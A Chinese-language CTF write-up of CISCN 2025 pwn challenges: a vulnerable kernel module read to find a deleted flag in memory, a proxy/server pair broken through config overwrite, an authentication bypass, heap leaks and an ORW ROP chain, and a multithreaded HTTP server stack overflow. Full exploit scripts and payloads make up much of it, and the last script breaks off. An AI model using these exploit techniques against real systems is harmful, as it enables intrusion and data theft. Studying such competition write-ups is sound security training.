【CTF对抗-CISCN-2025-初赛writeup NPUSEC】此文章归类为:CTF对抗。
程序给了一个babydev.ko文件和eatFlag文件,一般来说babydev.ko文件就是存在漏洞的模块,查看init文件,发现将/proc/kallsyms拷贝到/tmp/coresysms.txt中,而且执行了/home/eatFlag文件

结合模拟之后的环境没有flag,但是解压缩文件系统之后是存在flag的,猜测是这个/home/eatFlag程序给flag删除了,这里先不管,先去逆向babydev.ko文件中的dev_ioctl函数:
程序主要有五个分支来处理用户不同的请求
0x83170401:返回当前进程的PID
0x83170402:获取当前进程名(comm)
0x83170403:获取当前缓冲区剩余空间
0x83170404:获取当前缓冲区有效长度
0x83170405:获取 global_buf 内核地址(用于KASLR 绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | __int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3){ const char *v4; // rax const void *src; // r12 size_t v7; // rax _QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF __int64 v9; // [rsp+10h] [rbp-30h] __int64 v10; // [rsp+18h] [rbp-28h] __int64 global_buf_stack; // [rsp+20h] [rbp-20h] unsigned __int64 v12; // [rsp+28h] [rbp-18h] v12 = __readgsqword(0x28u); dest[0] = 0; v4 = *(const char **)(a1 + 200); dest[1] = 0; v9 = 0; v10 = 0; global_buf_stack = 0; if ( a2 == 0x83170403 ) { HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 <= 0x83170403 ) { if ( a2 == 0x83170401 ) { LODWORD(dest[0]) = *(_DWORD *)v4; return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 == 0x83170402 ) { src = v4 + 4; v7 = strlen(v4 + 4); memcpy((char *)dest + 4, src, v7 + 1); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } } else { if ( a2 == 0x83170404 ) { LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 == 0x83170405 ) { global_buf_stack = global_buf; return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } } return -22;} |
可以通过下面的exp.c来测试功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | // gcc exploit.c -static -masm=intel -g -o exploit#include "kpwn.h"struct out { uint64_t dest[5]; };int main() { save_status(); int fd = open("/dev/noc", O_RDWR); if (fd < 0) { log_error("open /dev/noc failed"); return -1; }; struct out buffer; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170401, &buffer); log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170402, &buffer); log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32)); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170405, &buffer); log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]); return 0;} |

现的是字符设备的 seek(定位)操作,也就是用户态调用:lseek(fd, offset, SEEK_SET / SEEK_CUR / SEEK_END);
他根据 whence(n2)决定新的文件指针:SEEK_SET (0):从头开始,SEEK_CUR (1):从当前偏移开始,SEEK_END (2):从文件末尾开始,最终实现计算当前“文件大小”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | __int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2){ __int64 v3; // rax __int64 result; // rax __int64 v5; // r8 v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000); if ( n2 == 1 ) { v5 = *(_QWORD *)(a1 + 0x40) + a2; if ( v5 < 0 ) return -22; } else { if ( n2 != 2 ) { if ( !n2 && a2 >= 0 && v3 >= a2 ) { v5 = a2; goto LABEL_7; } return -22; } v5 = v3 + a2; if ( v3 + a2 < 0 ) return -22; } if ( v3 < v5 ) return -22;LABEL_7: *(_QWORD *)(a1 + 0x40) = v5; result = v5; *(_QWORD *)(a1 + 0xB8) = 0; return result;} |
实现的是标准的 read() 行为:将数据从内核缓冲区拷贝到用户态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | __int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4){ __int64 v6; // rcx __int64 v7; // r8 __int64 v8; // rdx __int64 v9; // rax v6 = *a4; v7 = 0; v8 = *(_QWORD *)(global_buf + 0x10000); v9 = *(_QWORD *)(global_buf + 65544) - v8; if ( v6 < v9 ) { if ( v6 + n0x7FFFFFFF > v9 ) n0x7FFFFFFF = v9 - v6; if ( n0x7FFFFFFF > 0x7FFFFFFF ) BUG(); if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) ) { return -14; } else { *a4 += n0x7FFFFFFF; return n0x7FFFFFFF; } } return v7;} |
实现向一块 64KB 缓冲区写数据。这里的缓冲区位置有用户设置,但是注意到这里能够实现对global_buf + 0x10008)这里存储的数值的增大,最终相当于实现了global_buf大小虚拟扩大

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4){ __int64 v4; // rax unsigned __int64 n0x7FFFFFFF_1; // rbx __int64 global_buf; // rax v4 = *a4; n0x7FFFFFFF_1 = n0x7FFFFFFF; if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) ) return -105; if ( v4 + n0x7FFFFFFF > 0x10000 ) { n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4; } else if ( n0x7FFFFFFF > 0x7FFFFFFF ) { BUG(); } if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) ) return -14; global_buf = global_buf; *a4 += n0x7FFFFFFF_1; *(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1; return n0x7FFFFFFF_1;} |
逆向eatFlag文件得到这个程序会将/flag文件内容读取到自己的堆内存中,之后删除flag文件:

由于一开始 eatFlag 把 /flag 读入过内存,那么在一段时间内,flag 的字节就一定真实存在于某些物理内存页中,结合上面的dev_write能扩大这里的global_buf的空间,所以我们直接爆搜内存去找flag就好,注意这里大概率不存在,得多试几次
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | // gcc exploit.c -static -masm=intel -g -o exploit//#include "kpwn.h"#include <sys/types.h>#include <stdio.h>#include <pthread.h>#include <errno.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <signal.h>#include <poll.h>#include <ctype.h>#include <string.h>#include <stdint.h>#include <sys/mman.h>#include <sys/syscall.h>#include <sys/ioctl.h>#include <sys/sem.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/wait.h>#include <semaphore.h>#include <poll.h>#include <sched.h>#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"#define log_success(fmt, ...) \ printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)#define log_info(fmt, ...) \ printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)#define log_error(fmt, ...) \ printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)struct out { uint64_t dest[5]; };unsigned char *findflag(unsigned char *buf, size_t len) { char flag_pattern[] = "flag{"; unsigned char *addr = memmem(buf, len, flag_pattern, 5); if (addr) { for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) { if (addr[j] == '}') return addr; } } return NULL;}int main() { save_status(); int fd = open("/dev/noc", O_RDWR); if (fd < 0) { log_error("open /dev/noc failed"); return -1; }; struct out buffer; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170401, &buffer); log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170402, &buffer); log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32)); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170405, &buffer); log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]); char pl[0x10000]; for (int i = 0; i < 2000; i++) { lseek(fd, 0, SEEK_SET); if (write(fd, pl, 0x10000) < 0) { log_error("write failed"); break; } } memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3])); uint32_t new_length = (uint32_t)buffer.dest[3]; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32)); uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32); char buf[4096]; memset(buf, '\x00', 4096); size_t step = 4096; // 开始爆搜 for(size_t offset = 0;offset<new_length;offset+=step){ lseek(fd, offset, SEEK_SET); ssize_t n = read(fd, buf, step); if (n <= 0) { log_error("read failed"); break; } // print_binary(buf, step); char *flag_ptr = findflag((unsigned char *)buf, step); if(flag_ptr) { print_binary(buf,step); log_success("Flag found: %s", flag_ptr); break; } } return 0;} |
这道题目给了两个附件

但是proxy直接IDA打开很显然是让人一头雾水,于是丢给了队伍的re手,给程序脱了个壳,脱壳后逆向如图。

这道题目附件的大致用法:用户 → proxy → server
proxy:是一个前端代理/网关,进行流量转发,但在信息的转发过程中可能会有一些加密。
server:是一个后端服务,存在漏洞(如栈溢出、堆漏洞等)。
所以在连接远程时,用户只能给proxy发送信息,经过proxy的转发才可以和server进行交互。我们要首先弄清楚proxy内部的逻辑!
我认为这个函数是关键性函数

这个函数内部的大致框架如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | switch ( v11 ){ case 0xFFFF2525: // 认证请求处理break; case 0x7F687985u: // 转发请求处理break; case 0x85856547: // 更新配置处理break; case 0x85856546: // 读取日志处理break; default: p_UNKNOWN_HEADER = "UNKNOWN_HEADER"; // 返回未知头错误break;} |
也就是说proxy有四种情况:
0xFFFF2525 - 认证请求(RSA解密) 0x7F687985 - 转发请求(需要cookie验证) 0x85856547 - 更新配置 0x85856546 - 读取日志
关键函数中然后发现了程序会从config.txt中读取内容,解析其中的配置参数(n= 和 d=),并将解析出的十六进制数值存储到全局变量中。


其中qword_7240 = strtoull(s1 + 2, 0, 16); // 将后面的字符串转为16进制数
qword_7240存储n
qword_7248 = strtoull(s1 + 2, 0, 16); // 同样转为16进制数
qword_7248存储d
接着看到了个感觉像是给信息加密的函数

加密过程中利用了config.txt文件中的n和d,但是,这个config.txt文件在远端,我们不知道n和d,也就是说这个加密过程我们是不可观测的,所以传给server的信息流我们是不可预见的。
针对这个问题,有两种方法可以解决:
1.泄露远程的config.txt文件,精心对即将发送的信息流进行提前操作,使得发送过去的数据流是可控的。
2.覆盖远程的config.txt文件,使得之后每次的信息流加密操作形同虚设。
这两种方法我们显然选择后者。所以我们现在要寻找这个程序有没有对config.txt写入什么东西。翻找IDA时很容易看到这个函数:


这里把src的内容放进了config.txt文件中,我们进而可以控制config.txt
控制代码:
def send_pkt(io,header, payload=b""):assert isinstance(payload, (bytes, bytearray))
io.send(p32(header, endian='big'))
io.send(p32(len(payload), endian='big'))
if payload:
io.send(payload)
def recv_some(io, n=0x1000):# proxy 的返回大多是字符串 or 32字节cookie;这里先简单 recvreturn io.recv(n, timeout=2)
# ----------------------------# CONFIG: 修改 n / d# header = 0x85856547# payload = b"n=<hex>&d=<hex>"# ----------------------------def set_config(io, padding,n_hex, d_hex):
payload = padding+f"n={n_hex}&d={d_hex}".encode()
log.info(f"[*] set_config payload: {payload!r}")
send_pkt(io, 0x85856547, payload)
resp = recv_some(io)
log.info(f"[*] set_config resp: {resp!r}")
return resp
这样运行过后config.txt里的内容就成了

在这个中,RSA解密挑战码,验证是否为"hack"的哈希,通过则返回cookie。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | case 0xFFFF2525: if ( (unsigned int)sub_293A() ) { fwrite("Failed to refresh config\n", 1u, 0x19u, stderr); free(ptr); return 0xFFFFFFFFLL; } if ( size <= 7 || !d || !::n ) goto LABEL_33; netlong_2 = *(_QWORD *)ptr; v27 = sub_228A(netlong_2); *(_QWORD *)s1 = RSA(v27, ::n, d); *(_QWORD *)s = sub_250A((__int64)"hack", 4u); n_1 = strlen(s); if ( !strncmp(s1, s, n_1) ) { fda = open("/dev/urandom", 0); if ( fda < 0 ) { for ( n31 = 0; n31 <= 31; ++n31 ) p_netlong[n31] = rand(); } else { sub_2A8F((unsigned int)fda, (__int64)p_netlong, 0x20u); close(fda); } dword_7280 = 1; sub_23FA("cookie.txt"); sub_2B09(fd, (__int64)p_netlong, 0x20u); } else { p_AUTH_FAIL = "AUTH_FAIL"; v3 = strlen("AUTH_FAIL"); sub_2B09(fd, (__int64)p_AUTH_FAIL, v3); } break; |
相关脚本代码
# ----------------------------
# FNV-1a 64-bit(与 sub_250A 一致)+ BYTE2(v)=0
# ----------------------------
def fnv1a64(data: bytes) -> int:
h = 0x14650FB0739D0383for b in data:
h = (h ^ b) * 0x100000001B3
h &= 0xFFFFFFFFFFFFFFFF# BYTE2(h)=0 -> 清零第3个字节(从低到高:byte0,1,2...)
h &= ~(0xFF << (2 * 8))
return h
# ----------------------------
# AUTH: 拿 cookie# header = 0xFFFF2525
# payload = 8 bytes challenge (network order)
## 关键技巧(来自你给的代码逻辑):
# - 如果我们先用 CONFIG 把 d=1, n=ffffffffffffffff
# 那么 pow(challenge, d, n) == challenge
# - 它只用 strncmp 比较 strlen(hash("hack")) 个字节
# 且 BYTE2(hash)=0,所以 strlen 通常是 2
# - 最稳妥做法:challenge 直接取 hash("hack") 本身
# ----------------------------
def auth_get_cookie(io):
hack_hash = fnv1a64(b"hack")
log.info(f"[*] hash('hack') = {hack_hash:#x}")
payload = p64(hack_hash, endian='big') # 发送网络序 8 字节
send_pkt(io, 0xFFFF2525, payload)
resp = io.recv(0x1000, timeout=2)
log.info(f"[*] auth resp len={len(resp)} data={resp!r}")
# 成功时服务端直接回 32 字节 cookie
if resp and len(resp) >= 32 and resp[:9] != b"AUTH_FAIL":
cookie = resp[:32]
log.success(f"[+] cookie = {cookie.hex()}")
return cookie
log.failure("[-] AUTH failed (got AUTH_FAIL or empty)")
return None
前32字节是cookie,后面是转发数据,需要验证cookie。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | case 0x7F687985u: if ( size > 0x1F ) { if ( (unsigned int)sub_247D("cookie.txt") ) { fwrite("Failed to load cookie from file\n", 1u, 0x20u, stderr); free(ptr); return 0xFFFFFFFFLL; } if ( !dword_7280 || memcmp(ptr, p_netlong, 0x20u) ) { p_BAD_COOKIE = "BAD_COOKIE"; v4 = strlen("BAD_COOKIE"); sub_2B09(fd, (__int64)p_BAD_COOKIE, v4); free(ptr); return 0xFFFFFFFFLL; } if ( (unsigned int)sub_2B76((__int64)ptr + 32, size - 32, s_) ) { sub_2B09(fd, (__int64)"FORWARD_ERR", 0xBu); } else { v5 = strlen(s_); sub_2B09(fd, (__int64)s_, v5); } break; }LABEL_33: free(ptr); return 0xFFFFFFFFLL; |
相关脚本代码
def forward(io, cookie: bytes, data: bytes):assert cookie and len(cookie) == 32
payload = cookie + data
send_pkt(io, 0x7F687985, payload)
关键函数在此

进去看一下

但是我们进入backdoor中没啥用,有栈溢出但是没啥用,我们libcaddr没有。并且很明显看见下面有一个堆的增删改查,所以显然我们要先利用堆来泄露信息。
这里还有一个用户名检查

asc_5010是检查标准,但是strcmp会遇到\x00结束,所以我们实际上只需要爆破三个字节的哈希值就可以了!爆破完得到用户名,然后经过一些简单逆向,分析出与server的交互格式


交互格式如下
# size content
# add
# rtsp://uH@*/{"command":"add","param1":"size","param2":"content","param3":""}
# idx
# dele
# rtsp://uH@*/{"command":"delete","param1":"index","param2":"","param3":""}
# idx new_content
# edi
t# rtsp://uH@*/{"command":"edit","param1":"index","param2":"new_content","param3":""}
# idx
# show
# rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
但是,聪明的你也知道,这只是和server的交互格式,中间还需要经过proxy的检查,所以最终发送消息的格式为:
def add(size, content):"""
rtsp://uH@*/{"command":"add","param1":"size","param2":"content","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'f'"command":"add",'f'"param1":"{size}",'f'"param2":"{content}",'f'"param3":""'f'}}\n'
)
p=remote(ip,port)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def dele(index):"""
rtsp://uH@*/{"command":"delete","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'f'"command":"delete",'f'"param1":"{index}",'f'"param2":"",'f'"param3":""'f'}}\n'
)
p=remote(ip,port)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def edit(index, new_content):"""
rtsp://uH@*/{"command":"edit","param1":"index","param2":"new_content","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'f'"command":"edit",'f'"param1":"{index}",'f'"param2":"'+new_content+f'",'f'"param3":""'f'}}\n'
)
p=remote(ip,port)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def showhb(index):"""
rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'f'"command":"show",'f'"param1":"{index}",'f'"param2":"",'f'"param3":""'f'}}\n'
)
p=remote(ip,port)
forward(p, cookie, cmd.encode())
p.recvuntil('Content: 144:')
hb=u64(p.recv(6).ljust(8,b'\x00'))
p.close()
return hb
def showlb(index):"""
rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'f'"command":"show",'f'"param1":"{index}",'f'"param2":"",'f'"param3":""'f'}}\n'
)
p=remote(ip,port)
forward(p, cookie, cmd.encode())
p.recvuntil('Content: 248:')
hb=u64(p.recv(6).ljust(8,b'\x00'))
p.close()
return hb
接下来就是对于2.31堆的简单泄露heapbase和libcbase,泄露结束之后,可以利用backdoor()中的栈溢出直接打rop链就好了,建议直接orw写出来,因为拿shell实际上是server被打,但咱们是接触不到的。
pl=b'aaaa://uH@*/'+b'a'*(32-12)+p64(0)+p64(rdi)+p64(hb+0x7f0)+p64(rsi)+p64(0)+p64(rdx_r12)+p64(0)*2 pl+=p64(rax)+p64(2)+p64(lb+libc.sym["read"]+16) pl+=p64(rdi)+p64(5)+p64(rsi)+p64(hb)+p64(rdx_r12)+p64(0x40)*2+p64(libc.sym["read"]+lb) pl+=p64(rdi)+p64(4)+p64(lb+libc.sym["write"])
但有一点要注意以下,就是read和write的fd,因为这道题目涉及到许多文件的打开与关闭以及多个终端连接,所以fd并不是寻常值,具体可以通过调试之前的调用过的read、write函数的fd来判断。
本地测试

脚本如下:
from pwn import *
# from pwn_std import *
# p=getProcess("127.0.0.1",8888,'./server')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./server")
libc=ELF("libc-2.31.so")
ip='8.147.130.99'
port=26705
def send_pkt(io,header, payload=b""):
assert isinstance(payload, (bytes, bytearray))
io.send(p32(header, endian='big'))
io.send(p32(len(payload), endian='big'))
if payload:
io.send(payload)
def recv_some(io, n=0x1000):
return io.recv(n, timeout=2)
def set_config(io, padding,n_hex, d_hex):
payload = padding+f"n={n_hex}&d={d_hex}".encode()
log.info(f"[*] set_config payload: {payload!r}")
send_pkt(io, 0x85856547, payload)
resp = recv_some(io)
log.info(f"[*] set_config resp: {resp!r}")
return resp
def fnv1a64(data: bytes) -> int:
h = 0x14650FB0739D0383
for b in data:
h = (h ^ b) * 0x100000001B3
h &= 0xFFFFFFFFFFFFFFFF
h &= ~(0xFF << (2 * 8))
return h
def auth_get_cookie(io):
hack_hash = fnv1a64(b"hack")
log.info(f"[*] hash('hack') = {hack_hash:#x}")
payload = p64(hack_hash, endian='big')
send_pkt(io, 0xFFFF2525, payload)
resp = io.recv(0x1000, timeout=2)
log.info(f"[*] auth resp len={len(resp)} data={resp!r}")
if resp and len(resp) >= 32 and resp[:9] != b"AUTH_FAIL":
cookie = resp[:32]
log.success(f"[+] cookie = {cookie.hex()}")
return cookie
log.failure("[-] AUTH failed (got AUTH_FAIL or empty)")
return None
def forward(io, cookie: bytes, data: bytes):
assert cookie and len(cookie) == 32
payload = cookie + data
send_pkt(io, 0x7F687985, payload)
# resp = io.recv(0x1000, timeout=2)
# log.info(f"[*] forward resp: {resp!r}")
# return resp
# p=remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
set_config(p,b'a'*0x100,"ffffffffffffffff", "1\x00")
p.close()
# 2) 新开一个连接:在同一连接上完成 AUTH + FORWARD(不要中途再 remote)
p=remote(ip,port)
cookie = auth_get_cookie(p)
print('cookie=',cookie)
def add(size, content):
"""
rtsp://uH@*/{"command":"add","param1":"size","param2":"content","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"add",'
f'"param1":"{size}",'
f'"param2":"{content}",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def dele(index):
"""
rtsp://uH@*/{"command":"delete","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"delete",'
f'"param1":"{index}",'
f'"param2":"",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def edit(index, new_content):
"""
rtsp://uH@*/{"command":"edit","param1":"index","param2":"new_content","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"edit",'
f'"param1":"{index}",'
f'"param2":"'+new_content+f'",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def showhb(index):
"""
rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"show",'
f'"param1":"{index}",'
f'"param2":"",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.recvuntil('Content: 144:')
hb=u64(p.recv(6).ljust(8,b'\x00'))
p.close()
return hb
def showlb(index):
"""
rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"show",'
f'"param1":"{index}",'
f'"param2":"",'
f'"param3":""'
f'}}\n'
)
p=remote(ip,port)
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.recvuntil('Content: 248:')
hb=u64(p.recv(6).ljust(8,b'\x00'))
p.close()
return hb
add(0x90,'./flag')
sleep(0.5)
add(0x90,'a')
sleep(0.5)
dele(0)
sleep(0.5)
dele(1)
sleep(0.5)
add(0x90,'a')#2
hb=showhb(2)-(0x555555561661-0x555555561000)
print("heapbase=",hex(hb))
##构造堆块重叠##
for i in range(11):
sleep(0.5)
add(0xf0,'a')#3-13
for i in range(11):
sleep(0.5)
dele(i+2)
for i in range(7):
sleep(0.5)
add(0xf8,'/flag')#14-20
sleep(0.5)
add(0xf8,'a')
lb=showlb(21)-(0x7ffff7bfaf61-0x7ffff7a0e000)-(0x7ffff7a0df00-0x7ffff7a0e000)
print("libc_base=",hex(lb))
pause()
##触发栈溢出
# b *$rebase(0x0000000000001C36)
# b *$rebase(0x1BA7)
p=remote(ip,port)
binsh=lb+next(libc.search(b'/bin/sh\0'))
system=lb+libc.sym["system"]
rdi=lb+0x0000000000023b6a
rsi=lb+0x000000000002601f
rdx_r12=0x0000000000119431+lb
rax=lb+0x0000000000036174
pl=b'rdsp://uH@*/'+b'a'*(32-12)+p64(0)+p64(rdi)+p64(hb+0x7f0)+p64(rsi)+p64(0)+p64(rdx_r12)+p64(0)*2
pl+=p64(rax)+p64(2)+p64(lb+libc.sym["read"]+16)
pl+=p64(rdi)+p64(5)+p64(rsi)+p64(hb)+p64(rdx_r12)+p64(0x40)*2+p64(libc.sym["read"]+lb)
pl+=p64(rdi)+p64(4)+p64(lb+libc.sym["write"])
pl+=b'\r\n'
# pl=b'rdsp://uH@*/'
# pl+=b'\r\n'
forward(p, cookie, pl)
cont=p.recv(0x1000)
print("content=",cont)
直接进入正题,这个题没开PIE,libc为2.31,可以找到大部分需要的gadget

#0x0000000000402ff3 : pop rdi ; ret rdi=0x0000000000402ff3 #0x0000000000402ff1 : pop rsi ; pop r15 ; ret rsi=0x0000000000402ff1 #0x000000000040169d : pop rbp ; ret rbp=0x000000000040169d

禁用了execve和execveat


在sub_402D2D函数为一个路由注册结构,扫一眼,主要看setmode就行,里面有sub_402A40函数

发现在切割拷贝输入的内容时能触发栈溢出,“=”前部分会检查是否为setmode,但是后半部分能拷贝覆盖栈。

把客户端 socket fd 存进去,然后开启线程

start_routine 是一个 多线程 HTTP 服务器中处理单个客户端连接的****主函数。内容比较多,只看主要部分:
接收并解析 HTTP 请求(方法、路径、Header、Body)
路由分发:GET → 静态文件服务;POST → 调用注册的 handler(如 /hello, /setmode)

Content-Length 
post_body='''POST {route}\r\nContent-Length: {content_length}\r\n\n'''

1 2 3 4 5 6 7 8 | v51 = (void (*)...)sub_40287D(haystack, s1); // 根据 URI 查找 handlerif ( !v51 ){ sub_402537(fd); // 404 Not Found return 0;}v51((unsigned int)fd, s2, (unsigned int)n2046_1); |
sub_40287D(haystack, "POST"):在路由表中查找匹配的 handler。
haystack = "/setmode",返回 sub_402A40 地址。调用约定:handler(fd, body, body_len)
在这里会调用setmode
在上面GET方法里面有一个sub_402663函数,这个函数没有限制路径,只需要控制rdi和rsi就可以控制该函数输出我们想要的flag

尝试用一个线程,按照格式输入,覆盖返回地址,利用recv写入/flag字符串和后续rop,利用recv后面leave ret控制执行流到getflag,会发现程序卡死在snprintf里面
#0x0000000000402ff3 : pop rdi ; ret
rdi=0x0000000000402ff3
#0x0000000000402ff1 : pop rsi ; pop r15 ; ret
rsi=0x0000000000402ff1
#0x000000000040169d : pop rbp ; ret
rbp=0x000000000040169d
bss=0x406880
post_body='''POST {route}\r\nContent-Length:{content_length}\r\n\n''' #httpd报文格式
payload=b'setmode='+b'a'*0x440+p64(bss)+p64(rsi)+p64(bss)+p64(0)+p64(rdi)
payload+=p64(4)+p64(rdi+1)+p64(0x401cf0) #调用setmode覆盖栈去调用一次recv把
p=remote('localhost',9999)
req = post_body.format(route='/setmode',content_length=len(payload)).encode()+payload
req += b'/flag\x00\x00\x00'+p64(rsi)+p64(bss)+p64(0)+p64(rdi)+p64(4)+p64(rdi+1)+p64(0x000402663)
p.send(req)

vmmap一下,应该是地址不可写

于是修改填入的bss区域(调试发现卡在f栈没对齐,稍微修改即可),得到下面exp
from pwn import *
context.arch='amd64'
context.log_level='debug'
e=ELF('./main')
#0x0000000000402ff3 : pop rdi ; ret
rdi=0x0000000000402ff3
#0x0000000000402ff1 : pop rsi ; pop r15 ; ret
rsi=0x0000000000402ff1
#0x000000000040169d : pop rbp ; ret
rbp=0x000000000040169d
bss=0x427000
'''.text:0000000000401CF0 9B8 B9 00 00 00 00 mov ecx, 0 ; flags
.text:0000000000401CF5 9B8 48 89 C2 mov rdx, rax ; n
.text:0000000000401CF8 9B8 E8 23 F6 FF FF call _recv
'''
